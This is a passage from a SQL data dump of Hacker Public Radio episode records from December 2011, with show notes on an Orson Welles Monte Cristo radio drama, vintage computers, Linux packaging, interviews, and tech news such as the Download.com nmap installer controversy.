(869,'2011-12-01','The Count of Monte Cristo',3654,'A classic audio drama performance of <em>The Count of Monte Cristo</em> from the Mercury Theater','<h2>Welcome to syndicated Thursday on Hacker Public Radio</h2>\r\n<p>\r\nEach Thursday we play Syndicated creative commons content from around the web. If you know of some creative commons material that you would like to bring to the attention of the community then send an email to admin. \r\n</p>\r\n<p>\r\nToday we\'re going back in time, to a classic audio drama performance by the Mercury Theater and was originally aired in <em>Aug 29, 1938</em>. It is an adaptation of the classic novel The Count of Monte Cristo, by Alexandre Dumas. </p>\r\n<p>\r\n<h2>Mercury Theatre</h2>\r\n<p>\r\n<img src=\"https://ia600301.us.archive.org/8/items/OrsonWelles-MercuryTheater-1938Recordings/ORSON.JPG?cnt=0\" alt=\"Orson Welles at old style microphone\"><br />\r\nThe Mercury Theatre was a theatre company founded in New York City in 1937 by Orson Welles and John Houseman. After a string of live theatrical productions, in 1938 the Mercury Theatre progressed into their best-known period as The Mercury Theatre on the Air, a radio series that included one of the most notable and infamous radio broadcasts of all time, The War of the Worlds, broadcast on October 30, 1938. The Mercury Theatre on the Air produced live radio dramas in 1938-1940 and again briefly in 1946.\r\n</p>\r\n<h2>The Count of Monte Cristo</h2>\r\n<p>\r\nThe Count of Monte Cristo (French: Le Comte de Monte-Cristo) is an adventure novel by Alexandre Dumas. It is often considered to be, along with The Three Musketeers, Dumas\'s most popular work. He completed the work in 1844. Like many of his novels, it is expanded from the plot outlines suggested by his collaborating ghostwriter Auguste Maquet.</p>\r\n<p><img src=\"https://upload.wikimedia.org/wikipedia/commons/9/93/Dumas_by_Nadar%2C_1855.jpg\" width=400 alt=\"photo of Dumas\" ></p>\r\n<p>\r\nThe story takes place in France, Italy, islands in the Mediterranean and the Levant during the historical events of 1815–1838 (from just before the Hundred Days through to the reign of Louis-Philippe of France). The historical setting is a fundamental element of the book. An adventure story primarily concerned with themes of hope, justice, vengeance, mercy and forgiveness, it tells of a man who is wrongfully imprisoned, escapes from jail, acquires a fortune and sets about getting revenge on the men who destroyed his life. However, his plans also have devastating consequences for the innocent as well as the guilty. The book is considered a literary classic today. According to Luc Sante, \"The Count of Monte Cristo has become a fixture of Western civilization\'s literature, as inescapable and immediately identifiable as Mickey Mouse, Noah\'s flood, and the story of Little Red Riding Hood.\"\r\n</p>\r\n<h2>links</h2>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License\">https://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License</a><br />\r\n<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Alexandre_Dumas\">https://en.wikipedia.org/wiki/Alexandre_Dumas</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/The_Count_of_Monte_Cristo\">https://en.wikipedia.org/wiki/The_Count_of_Monte_Cristo</a><br />\r\n<a href=\"https://librivox.org/the-count-of-monte-cristo-by-alexandre-dumas/\">https://librivox.org/the-count-of-monte-cristo-by-alexandre-dumas/</a> <br />\r\n<a href=\"https://www.archive.org/details/count_monte_cristo_0711_librivox\">https://www.archive.org/details/count_monte_cristo_0711_librivox</a><br />\r\n<a href=\"https://www.archive.org/details/worksofalexand02duma\">https://www.archive.org/details/worksofalexand02duma</a><br />\r\n<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Mercury_Theatre\">https://en.wikipedia.org/wiki/Mercury_Theatre</a><br />\r\n<a href=\"https://www.archive.org/details/OrsonWelles-MercuryTheater-1938Recordings\">https://www.archive.org/details/OrsonWelles-MercuryTheater-1938Recordings</a><br />\r\n<a href=\"https://creativecommons.org/licenses/by-nc-nd/3.0/\">https://creativecommons.org/licenses/by-nc-nd/3.0/</a><br />\r\n</p>\r\n<p>\r\nTodays show is licensed under a Creative Commons license: <a href=\"https://creativecommons.org/licenses/by-nc-nd/3.0/\">Attribution-Noncommercial-No Derivative Works 3.0</a> , while most of the show notes are taken from Wikipedia and are available under the <a href=\"https://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License\">Creative Commons Attribution-ShareAlike License</a> </p>',159,54,1,'CC-BY-SA','audio drama,Mercury Theater,The Count of Monte Cristo',0,2223,1),
(870,'2011-12-02','Computer Memories',1589,'Deltaray looks back at his early computer experiences','<p>In his second HPR episode, Deltaray looks back at his early computer experiences, from the Commodore to the Amiga, early computer stores, a BBS, and...The Strip.</p>\r\n\r\n<p>Sound effects by jppi-stu (117647) and timbre (84427) of <a href=\"https://freesound.org\" target=\"_blank\">freesound.org</a>\r\n</p>\r\n<h2>Apple Lisa</h2>\r\n<p>\r\nFrom Wikipedia, the free encyclopedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Apple_Lisa\">https://en.wikipedia.org/wiki/Apple_Lisa</a><br />\r\nThe Apple Lisa - also known as the Lisa - is a personal computer designed by Apple Computer, Inc. (now Apple, Inc.) during the early 1980s.<br />\r\n\r\nDevelopment of the Lisa began in 1978 as a powerful personal computer with a graphical user interface (GUI) targeted toward business customers.<br />\r\n\r\nIn 1982, Steve Jobs was forced out of the Lisa project, so he joined the Macintosh project instead. The Macintosh is not a direct descendant of Lisa, although there are obvious similarities between the systems and the final revision, the Lisa 2/10, was modified and sold as the Macintosh XL.<br />\r\n\r\nThe Lisa was a more advanced system than the Macintosh of that time in many respects, such as its inclusion of protected memory, cooperative multitasking, a generally more sophisticated hard disk based operating system, a built-in screensaver, an advanced calculator with a paper tape and RPN, support for up to two megabytes (MB) of RAM, expansion slots, a numeric keypad, data corruption protection schemes such as block sparing, non-physical file names (with the ability to have multiple documents with the same name), and a larger higher-resolution display. It would be many years before many of those features were implemented on the Macintosh platform. Protected memory, for instance, did not arrive until the Mac OS X operating system was released in 2001. The Macintosh featured a faster 68000 processor (7.89 MHz) and sound. The complexity of the Lisa operating system and its programs taxed the 5 MHz Motorola 68000 microprocessor so that consumers said it felt sluggish, particularly when scrolling in documents.<br />\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/b/b6/Apple_Lisa.jpg\" alt=\"lisa photo\" width=400>\r\n<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Apple_lisa\">https://en.wikipedia.org/wiki/Apple_lisa</a>\r\n<hr>\r\n<h2>TRS-80</h2>\r\n<p>\r\n<strong>From Wikipedia, the free encyclopedia</strong>\r\n<a href=\"https://en.wikipedia.org/wiki/TRS_80\">https://en.wikipedia.org/wiki/TRS_80</a><br />\r\nTRS-80 was Tandy Corporation\'s desktop microcomputer model line, sold through Tandy\'s Radio Shack stores in the late 1970s and early 1980s. The first units, ordered unseen, were delivered in November 1977, and rolled out to the stores the third week of December. The line won popularity with hobbyists, home users, and small-businesses. Tandy Corporation\'s leading position in what Byte Magazine called the \"1977 Trinity\" (Apple, Commodore and Tandy) had much to do with Tandy\'s retailing the computer through more than 3000 of its Radio Shack (Tandy in Europe) storefronts. Notable features of the original TRS-80 included its full-stroke QWERTY keyboard, small size, its Floating Point BASIC programming language, an included monitor, and a starting price of $600. The pre-release price was $500 and a $50 deposit was required, with a money back guarantee at time of delivery. One major drawback of the original system was the massive RF interference it caused in surrounding electronics. This became a problem when it was determined to violate FCC regulations, leading to the Model I\'s phase out in favor of the new Model III. <br />\r\nBy 1979, the TRS-80 had the largest available selection of software in the microcomputer market.<br />\r\n....<br />\r\nIn July 1980 Tandy released the Model III. The improvements of the Model III over the Model I included built-in lower case, a better keyboard, 1500-baud cassette interface, and a faster (2.03 MHz) Z-80 processor. With the introduction of the Model III, Model I production was discontinued as it did not comply with new FCC regulations as of 1 January 1981 regarding electromagnetic interference. The Model I radiated so much interference that while playing games an AM radio placed next to the computer could be used to provide sounds.<br />\r\n\r\nThe Model III could run about 80% of Model I software, but used an incompatible disk format. Customers and developers complained of bugs in its BASIC and the TRSDOS operating system. The computer also came with the option of integrated disk drives. Since they took power from the same supply as the motherboard and screen, which was not upgraded for the disk drive models, it was common to see the screen image shrink noticeably during drive access.<br />\r\n\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/e/ea/TRS-80_Model_3_01.jpg\" alt=\"photo\" width=400 ><br />\r\n<br />\r\n\r\n<a href=\"https://web.archive.org/web/20060425163924/https://www.kjsl.com/trs80/model3info.html\">https://web.archive.org/web/20060425163924/https://www.kjsl.com/trs80/model3info.html</a>\r\n</p>\r\n<hr>\r\n<h2>Commadore 128</h2>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Commodore_128\">https://en.wikipedia.org/wiki/Commodore_128</a><br />\r\nThe Commodore 128 (C128, CBM 128, C=128) home/personal computer was the last 8-bit machine commercially released by Commodore Business Machines (CBM). Introduced in January 1985 at the CES in Las Vegas, it appeared three years after its predecessor, the bestselling Commodore 64.\r\n<br />\r\nThe C128 was a significantly expanded successor to the C64 and unlike the earlier Commodore Plus/4, nearly full compatibility with the C64 was retained, in both hardware and software. The new machine featured 128 KB of RAM, in two 64 KB banks and an 80-column RGBI video output (driven by the 8563 VDC chip with 16 KB dedicated video RAM), as well as a substantially redesigned case and keyboard. Also included was a Zilog Z80 CPU which allowed the C128 to run CP/M, as an alternate to the usual Commodore BASIC environment.\r\n<br />\r\nThe primary hardware designer of the C128 was Bil Herd, who had worked on the Plus/4. Other hardware engineers were Dave Haynie and Frank Palaia, while the IC design work was done by Dave DiOrio. The main Commodore system software was developed by Fred Bowen and Terry Ryan, while the CP/M subsystem was developed by Von Ertwine\r\n<br />\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/b/bc/Commodore_128_002.jpg\" alt=\"photo\" width=400>\r\n</p>\r\n<hr>\r\n<h2>Amiga 2000</h2>\r\n<p>\r\nFrom Wikipedia, the free encyclopedia<br />\r\nThe Amiga 2000, or A2000, is a personal computer released by Commodore in 1986. It is the successor to the Amiga 1000.\r\n<a href=\"https://en.wikipedia.org/wiki/Amiga_2000\">https://en.wikipedia.org/wiki/Amiga_2000</a><br />\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/3/31/A2000cpu.jpg\" alt=\"photo\" width=400>\r\n</p>\r\n<hr>\r\n',194,0,1,'CC-BY-SA','Apple Lisa,TRS-80,Commodore 128,Amiga 2000',0,2468,1),
(871,'2011-12-05','HPR Community News for Nov 2011',2537,'HPR Community News for Nov 2011','<h1>HPR Community News</h1>\n <h2>New hosts</h2>\n <p>Welcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=193\">Kevin Granade</a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=194\">Deltaray</a></p>\n <h2><a href=\"https://hackerpublicradio.org/cc.php?sort=desc&min=851&max=870\">Show Review</a></h2>\n <table>\n  <thead>\n   <tr>\n    <th>id</th>\n    <th>title</th>\n    <th>host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr>\n    <td>hpr0852</td>\n    <td>GNU Emacs 1</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>hpr0853</td>\n    <td>Pat Volkerding of Slackware Linux chats with Klaatu</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>hpr0854</td>\n    <td>All In IT Radio0007 - Should Cars Get Smarter ?</td>\n    <td>Syndicated Thursdays series.</td>\n   </tr>\n   <tr>\n    <td>hpr0855</td>\n    <td>Packaging for your distro</td>\n    <td>Mike Hingley</td>\n   </tr>\n   <tr>\n    <td>hpr0856</td>\n    <td>GNU Emacs 2</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>hpr0857</td>\n    <td>Sam Tuke - Free Software Foundation Europe</td>\n    <td>OggCamp11 series.</td>\n   </tr>\n   <tr>\n    <td>hpr0858</td>\n    <td>Pre micro computer tech in the home #2</td>\n    <td>MrGadgets</td>\n   </tr>\n   <tr>\n    <td>hpr0859</td>\n    <td>Sourcetrunk: OwnCloud</td>\n    <td>Syndicated Thursdays series.</td>\n   </tr>\n   <tr>\n    <td>hpr0860</td>\n    <td>Kaizendo, GNU Parallel and some more FSCONS</td>\n    <td>FSCONS series.</td>\n   </tr>\n   <tr>\n    <td>hpr0861</td>\n    <td>Emacs Part 3: The Reckoning.</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>hpr0862</td>\n    <td>Breaking Down TFTP</td>\n    <td>Kevin Granade</td>\n   </tr>\n   <tr>\n    <td>hpr0863</td>\n    <td>Tony Hughes Free Cycle</td>\n    <td>Ken Fallon</td>\n   </tr>\n   <tr>\n    <td>hpr0864</td>\n    <td>Opentech Conference 2011: Glen Mehn, SI Camp</td>\n    <td>Full Circle Podcast series.</td>\n   </tr>\n   <tr>\n    <td>hpr0865</td>\n    <td>Desktop Transparency</td>\n    <td>Deltaray</td>\n   </tr>\n   <tr>\n    <td>hpr0866</td>\n    <td>Publican, the user-friendly Perl frontend to Docbook XML</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>hpr0867</td>\n    <td>Gift Guide for Electronics Engineers of the Future</td>\n    <td>MrGadgets</td>\n   </tr>\n   <tr>\n    <td>hpr0868</td>\n    <td>Emacs Console</td>\n    <td>JWP</td>\n   </tr>\n   <tr>\n    <td>hpr0869</td>\n    <td>The Count of Monte Cristo</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>hpr0870</td>\n    <td>Computer Memories</td>\n    <td>Deltaray</td>\n   </tr>\n  </tbody>\n </table>\n <h2>New HPR Community Spokesperson for 2012</h2>\n <p>Communities like Debian and Fedora regularly change the person in the position of community manager so that the community is better represented, ideas are kept fresh and team work is fostered. With this in mind we are looking for a new member of the community to come forward and represent HPR as the community spokesperson.</p>\n <p>The job is focused on encouraging people to contribute to the project, spreading the word and building the community.</p>\n <p>If you are interested or would like to suggest someone for the position then please send your comments to the <a href=\"https://www.hackerpublicradio.org/maillist\">Mail list</a>.<br /> Don\'t worry Ken and all the other \'regulars\' will continue to support HPR.</p>\n <h2>Give to FLOSS</h2>\n <p>Paying homage to the tradition started my Chess Griffin of <a href=\"https://linuxreality.com/\">Linux Reality</a> we are asking people to contribute financially over the coming month to a FLOSS of CC project. Just email us what you contributed to and we\'ll mail you one of the last few HPR stickers and give you a shout out on the end of year show. <strong>Please Spread the word!</strong></p>\n <h2>End of Year show</h2>\n <p>We will be organizing a open mic end of year show next month so please have your \"best of hpr\" story ready for the event. More information on time and date to follow. If you can\'t make it to the live recording, then please record a short segment and send it on in.</p>\n <h2>Contribute Shows</h2>\n <p>We\'re short of shows so please stop <a href=\"https://en.wikipedia.org/wiki/Procrastination\">procrastinating</a> and record that show today. <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a> has more information on how to do that.</p>\n',159,47,1,'CC-BY-SA','Community News',0,2077,1),
(872,'2011-12-05','Packaging YUM',2057,'The YUM package manager','<p>A bonus episode in the Packaging Applications for Linux mini series!  Inspired by Thrice in IRC, Klaatu discusses the yum package manager and how to weild it like an ancient RPM warrior.</p>',78,63,0,'CC-BY-SA','package manager,yum',0,2179,1),
(873,'2011-12-06','Philip and Rebecca Newborough of CrunchBang',727,'CrunchBang Linux','<p>\r\nToday we interview Philip Newborough (aka corenominal) project lead for CrunchBang Linux and their community manager Rebecca Newborough. CrunchBang is a Debian GNU/Linux based distribution offering a great blend of speed, style and substance. Using the nimble Openbox window manager, it is highly customisable and provides a modern, full-featured GNU/Linux system without sacrificing performance.\r\n</p>\r\n<p>\r\nIn September 2011, Philip gave up paid employment to concentrate on personal projects and is now working full-time on CrunchBang Linux. Feel free to donate a over on his site<a href=\"https://crunchbang.org/donate\">https://crunchbang.org/donate</a>\r\n</p>\r\n<h2>Links</h2>\r\n<p>\r\n<a href=\"https://crunchbang.org/\">https://crunchbang.org/</a><br />\r\n<a href=\"https://www.ubuntu.com/\">https://www.ubuntu.com/</a><br />\r\n<a href=\"https://openbox.org/\">https://openbox.org/</a><br />\r\n<a href=\"https://www.xfce.org/\">https://www.xfce.org/</a><br />\r\n<a href=\"https://technologyserved.com/\">https://technologyserved.com/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/CrunchBang_Linux\">https://en.wikipedia.org/wiki/CrunchBang_Linux</a><br />\r\n<a href=\"https://www.debian.org/\">https://www.debian.org/</a><br />\r\n</p>\r\n',30,62,1,'CC-BY-SA','CrunchBang Linux,Debian,Openbox',0,2439,1),
(874,'2011-12-07','Interview: Lucy Chambers, Open Knowledge Foundation',1219,'Full Circle Podcast, interview','<p>Hello World and welcome to our show on Hacker Public Radio. This episode is the last of our three interviews resulting from the Opentech Conference over the Summer by my co-host, Les Pounder</p>\r\n\r\n<p>We\'re going to jump straight in and skip the introductions; if you want to find out about the conference and our other interviews, you can listen back to the earlier preview show with conference organiser Sam Smith and interview shows with speakers Greg Mehne of Social Innovation Camp and Paula Graham of Fossbox.</p>\r\n\r\n<p><strong> | Interview: Lucy Chambers of the <a title=\"Open Knowledge Foundation\" href=\"https://okfn.org/\" target=\"_blank\">Open Knowledge Foundation</a></strong></p>\r\n<p>\"Founded in 2004, we’re a not-for-profit organization promoting open knowledge: any kind of data and content – sonnets to statistics, genes to geodata – that can be freely used, reused, and redistributed. We promote open knowledge because of its potential to deliver far-reaching societal benefits.\"</p>\r\n<p><a href=\"https://www.ukuug.org/events/opentech2011/\" target=\"_blank\"><strong>OpenTech 2011</strong></a></p>\r\n<p>Saturday 21st May 2011,Union Building, University of London.</p>\r\n<p>OpenTech 2011 is an informal, low cost, one-day conference on slightly different approaches to technology, transport and democracy. Talks by people who <a target=\"_blank\" href=\"https://radar.oreilly.com/2009/01/work-on-stuff-that-matters-fir.html\">work on things that matter</a>, guarantees a day of thoughtful talks leading to conversations with friends.</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n	<li><strong>Les Pounder</strong> (blog at <a href=\"https://lespounder.wordpress.com/\" target=\"_blank\">https://lespounder.wordpress.com/</a>)</li>\r\n</ul>\r\n\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 20mins 17seconds</p>',160,78,1,'CC-BY-SA','Full Circle Podcast',0,2076,1),
(875,'2011-12-08','Replacing Older Hardware',408,'Replacing old AMD systems','In today\'s show JWP talks to us about replacing some of his old amd boxes. He investigates what he can get for $250. He heads over to <a href=\"https://geeks.com\">https://geeks.com</a> for a P4 with HDMI out.',129,0,1,'CC-BY-SA','Intel Pentium 4,HDMI',0,2208,1),
(876,'2011-12-09','Packaging applications: BSD ports',1712,'FreeBSD Ports collection is a package management system','<p>Klaatu concludes his three-part series on packaging applications for GNU Linux and BSD.  In this episode, he covers BSD ports; how to get them, how to write one, and how to install it.  Then he gives his opinion on the myriad packaging options that unix users have available to them.</p>                                                                      \r\n                                                                                                                                                                                    \r\n<p class=\"links\"><a href=\"https://www.freebsd.org/doc/en/books/porters-handbook/\" target=\"_blank\">FreeBSD Porter\'s Handbook</a></p>                                                  \r\n                                                                                                                                                                                    \r\n<p class=\"links\"><a href=\"https://thebadapples.info/linuxreality/yesplz-port.zip\" target=\"_blank\">yesplz port</a></p>                                                                \r\n                                                                                                                                                                                    \r\n<p>Get this episode in <a href=\"https://thebadapples.info/audiophile/hpr_pkg_ports.ogg\" target=\"_blank\">ogg vorbis</a> courtesy the GNU World Order.</p>',78,63,0,'CC-BY-SA','package management,BSD,FreeBSD,Ports',0,2168,1),
(877,'2011-12-12','Welcome Frank Bell',1054,'Frank Bell begins the story of his journey to Linux','<p>Today our newest host, Frank Bell describes how he started on the road to Linux and some of the things he noticed along the way.  In this episode, he goes from a empty computer to one running \r\n<a href=\"https://www.slackware.com\">Slackware 10.0.</a></p>',195,29,1,'CC-BY-SA','linux,slackware',0,2356,1),
(878,'2011-12-13','OpenShorts Episode 4',1961,'Computer-controlled manufacturing - 3D printers, CNC','<p>\r\nMr. Gadget\'s quest to get us interested in hardware continues. Today we learn about making three-dimensional parts using inexpensive computer-controlled manufacturing equipment. Both additive (RepRap, CandyFab) and subtractive (Lumenlab Micro CNC) systems are covered.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://makezine.com/21\">https://makezine.com/21</a>\r\n</li>\r\n<li><a href=\"https://reprap.org/wiki/Mendel_Buyers_Guide\">https://reprap.org/wiki/Mendel_Buyers_Guide</a>\r\n</li>\r\n<li><a href=\"https://store.makerbot.com/\">https://store.makerbot.com/</a>\r\n</li>\r\n<li><a href=\"https://www.makergear.com/products/mosaic-3d-printers\">https://www.makergear.com/products/mosaic-3d-printers</a>\r\n</li>\r\n<li><a href=\"https://www.makergear.com/products/3d-printers\">https://www.makergear.com/products/3d-printers</a>\r\n</li>\r\n<li><a href=\"https://makeprojects.com/\">https://makeprojects.com/</a>\r\n</li>\r\n<li><a href=\"https://blog.sculpteo.com/2011/10/20/3d-printers-are-the-next-gen-entrepreneurs/\">https://blog.sculpteo.com/2011/10/20/3d-printers-are-the-next-gen-entrepreneurs/</a>\r\n</li>\r\n<li><a href=\"https://www.amazon.com/Printing-Plastic-Printer-Technology-Action/dp/1430234431\">https://www.amazon.com/Printing-Plastic-Printer-Technology-Action/dp/1430234431</a>\r\n</li>\r\n<li><a href=\"https://www.amazon.com/Getting-Started-MakerBot-English/dp/1449399061\">https://www.amazon.com/Getting-Started-MakerBot-English/dp/1449399061</a>\r\n</li>\r\n<li><a href=\"https://www.amazon.com/Getting-Started-RepRap-Printing-Desktop/dp/1449310427\">https://www.amazon.com/Getting-Started-RepRap-Printing-Desktop/dp/1449310427</a>\r\n</li>\r\n</ul>',155,0,1,'CC-BY-SA','3D printer,RepRap,CandyFab,MakerBot,CNC',0,2164,1),
(879,'2011-12-14','SMLR 009',3522,'SMLR episode 9','<h2>Sunday Morning Linux Review</h2>\n <p><a href=\"https://smlr.us\" title=\"SMLR.US\">https://smlr.us</a></p>\n <h3>Intro:</h3>\n <p>Mat Enders and Tony Bemus<br /> Intro Sound bite by <a href=\"https://voice123.com/miketanner\" target=\"_blank\" title=\"https://voice123.com/miketanner\">Mike Tanner</a></p>\n <h3>Kernel News: Mat</h3>\n <p>Time: 1:56<br /> Latest RC release is 3.2-rc5 released on Friday 12/9 at 6pm Eastern standard time.</p>\n <p>It has been slightly over a week since the last rc release. And rc5 is bigger in number of commits. Many of the commits are small, so it is possible that the *diff* will be smaller than both -rc2 and -rc4 were.</p>\n <p>A big part of this release is that Ingo is back, and had a backlog. That isn’t enough to explain it all. There were xfs and btrfs changes, along with network updates, and the usual 50% random driver updates.</p>\n <p>Greg KH announced the release of the 2.6.32.50, 3.0.13, and 3.1.5 stable kernels 12/9.</p>\n <p>The 2.6.32.50 kernel had 28 files changed, 164 insertions, and 54 deletions.<br /> The 3.0.13 kernel had 93 files changed, 659 insertions, and 201 deletions.<br /> The 3.1.5 kernel had 135 files changed, 1170 insertions, and 471 deletions.</p>\n <p>Kernel Quote of The Week:</p>\n <p>Hey Linus stop working on Subsurface, The Scuba Diving Log that doesn’t suck, during the week so you can get the latest RC out before 6pm eastern time so it is easier for me to do these updates. (insert appropriate smiley here)</p>\n <p>–Mat Enders</p>\n <h3>Distro News: Tony</h3>\n <p>Time: 4:53</p>\n <p><a href=\"https://distrowatch.com\" target=\"_blank\" title=\"https://distrowatch.com\">Distrowatch.com</a></p>\n <ul>\n  <li>12-10 – <a href=\"https://distrowatch.com/7016\" target=\"_blank\">Semplice Linux 2.0 RC1</a> –</li>\n  <li>12-10 – <a href=\"https://distrowatch.com/7015\" target=\"_blank\">KahelOS 111111</a> –</li>\n  <li>12-10 – <a href=\"https://distrowatch.com/7014\" target=\"_blank\">CentOS 6.1</a> –</li>\n  <li>12-06 – <a href=\"https://distrowatch.com/7012\" target=\"_blank\">Red Hat Enterprise Linux 6.2</a> –</li>\n  <li>12-06 – <a href=\"https://distrowatch.com/7009\" target=\"_blank\">Ultimate Edition 3.0</a> –</li>\n  <li>11-06 – <a href=\"https://distrowatch.com/7010\" target=\"_blank\">TurnKey Linux 11.3</a> –</li>\n  <li>11-06 – <a href=\"https://distrowatch.com/7011\" target=\"_blank\">Ubuntu Privacy Remix 10.04r2</a> –</li>\n </ul>\n <h3>Distro of the Week: Tony</h3>\n <ol>\n  <li value=\"5\">Debian – 1367</li>\n  <li value=\"4\">Fedora – 1427</li>\n  <li value=\"3\">Ultimate – 1742</li>\n  <li value=\"2\">Ubuntu – 1977</li>\n  <li value=\"1\">Mint – 4115</li>\n </ol>\n <h3>Tech News:</h3>\n <p>Time: 15:45</p>\n <p>jQuery Tells The Real Story About Plugin Site, or Why You Should Have a Backup More Recent Than a Year Old</p>\n <p>The jQuery plugins site devolopers have finaly told the real story, in a blog posting. The plugins site went down about a week ago with just this message: “The plugins site is currently unavailable. We’ve been looking to provide a higher-quality, spam-free expierence at the plugins site for some time and we have decided to temporarily shutter the existing site. We will be providing more details on the new plugins site soon, so that plugin authors can hit the ground running with our new submission process.” What really happened was, in an attempt to clean up the spam using Drupal Views Bulk Operations, all of the plugins were deleted. And the only backup was a year old. The developers asked for forgiveness and some help in developing a completely new plugins site. The plugins site needed renovations for quite some time. Due to the spam issue and because of how plugins were manged through the CMS that was cluttered and awkward. They were planning on replacing the site when events caused an imdeiate need. When I say events I mean the accidental deletion and lack of backup was the impetus to move those plans into action. jQuery plugin developers should create a GitHub presence, even if they just mirror their existing source code management. The new site still being developed on github.com/jquery/plugins.jquery.com/ and there is currently no date for its launch.</p>\n <p>Download.com accused of wrapping nmap in a “trojan installer”</p>\n <p>Nmaps author says CBS Interactive and CNET’s Download.com are wrapping the open source application in a proprietary installer. In the past, they have never altered the application downloads they serve up, they have been changing that over the last six months. Gordon “Fyodor” Lyon, lays out his issues in a posting to the Nmap Hackers mailing list. He claims the installer does thing like install the ‘StartNow’ toolbar”, makes Bing the default search engine, and then sets the users home page to MSN. This is how a “trojan installer” functions. If the installer is seperated from the download and sent to VirusTotal it shows that ten of the 42 scanners, they run it against, identify it as a trojan or adware installer. Also the Nmap trademark is displayed next to offers to install software, as if the Nmap organization supports these products. As Nmap is not under the plain GPL but under an enhanced version that specifically prohibits aggregation into a proprietary executable installer.<br /> Download.com initially claimed its scheme is simple for developers to opt-out of. The opt out is not automatic though. Download.com says “all opt-out requests are carefully reviewed on a case by case basis.” Lyon is looking for a US copyright attorney and wants to get the word to the hundreds of users who use Download.com every week to download Nmap.<br /> CBS’s Download.com site has been called out for this type of behaviour before. In August, ExtremeTech claimed similar behaviour with the media player VLC. According to an FAQ from CBS this installer software was rolled out in July.<br /> After the fecal matter hit the fan on this Download.COM back pedaled in a big way. In a statement, Sean Murphy, the Vice President and General Manager of Download.com said, “The bundling of this software was a mistake on our part and we apologize to the user and developer communities for the unrest it caused.” Then adding that they had “reviewed all open source files in our catalog to ensure none are being bundled”.<br /> Lyon posted an update, stating that Microsoft had been in contact with him and claimed they “didn’t know they were sponsoring CNET to trojan open source software”. Microsoft also stated that they had stopped the practice, which seems odd since they said that they were unaware that it was happening. So now the Download.com installer changed to install the “Babylon toolbar” which did different search engine redirection. CNET then later removed that and is now installing its own “techtracker” tool for updating downloaded software. However they are also restoring the “Direct download link” which allows users to download files without having to download the “download manager”.<br /> Who knows if these changes will quell the controversey. The changes only affect open source software and the proprietary freeware and trial software on Download.com will still have the Download.com Installer packaging. A number of open source programs at Download.COM still had an installer wrapping them. There has been no general apology for bundling GPL software with closed source installers.</p>\n <hr width=\"300\" />\n <p>Researchers at Google Have Proposed s Fix to The SSL Dilemma</p>\n <p>Google researchers Adam Langley and Ben Laurie have proposed a new method for ensuring the trustworthiness of the public key infrastructure (PKI) underpinning HTTPS. Thier idea is based on a public list of all certificates ever issued by certificate authorities. The two problems with how the current system works are. First, if an attacker can comprimise any of the more than 100 certificate authorities and aquire a certificate for a server such as amazon.com, end users would not be able to tell the fraudulant site from the real one. Second, the way the system currently works Amazon would not be able to detect the fraud either.<br /> Langley and Laurie believe that a public list would mitigate both problems. Whenever a website offered up a certificate, the browser would check the supplied certificate against one of these public lists. If the browser did not find the certificate on any of the lists, the site would be treated as untrusted. Companies would then be able to check these lists regularly, to locate any fraudulent certificates. Which means that even if a criminal was able to obtain a fake certificate, they could not use it efectively. Merkle signature trees would be used to maintain the integrity of the lists.<br /> The proposals might not be implemented and, if it is, noone knows over what sort of timescale. There are also other alternatives being proposed like Firefoxs’ extension Convergence being pursued by security expert Moxie Marlinspike.</p>\n <hr width=\"300\" />\n <p>Android’s Revenge on Apple’s iPhone &amp; iPad</p>\n <p>Could Apple be regretting its world-wide war on Android? A German court issued a preliminary injunction on Motorola’s behalf that prevents European sales of all Apple’s 3G-enabled devices. Android-power Motorola Mobility, soon to be a part of Google, used a patent to thwart the competition. Apple has been using design and software patents in order to attack Android world wide. So I don’t think this could have happened to a nicer company.</p>\n <p>Regretably the patent being used, Method for performing a countdown function during a mobile-originated transfer for a packet radio system, is an excellent example of brain dead software patents. Almost as bad as Apple trying to block anybody from creating a rectangular phone or tablet as it would infringe on thier “unique” design. Thing like this sadly are not unusual but equate to little more than Intelectual Property (IP) blackmail. Just check out U.S. Patent No. 6,359,898 and its European Union equivalent, EP1010336 (B1) ? 2003-03-19. They basicly describe performing a countdown over a 3G connection. You know lik, 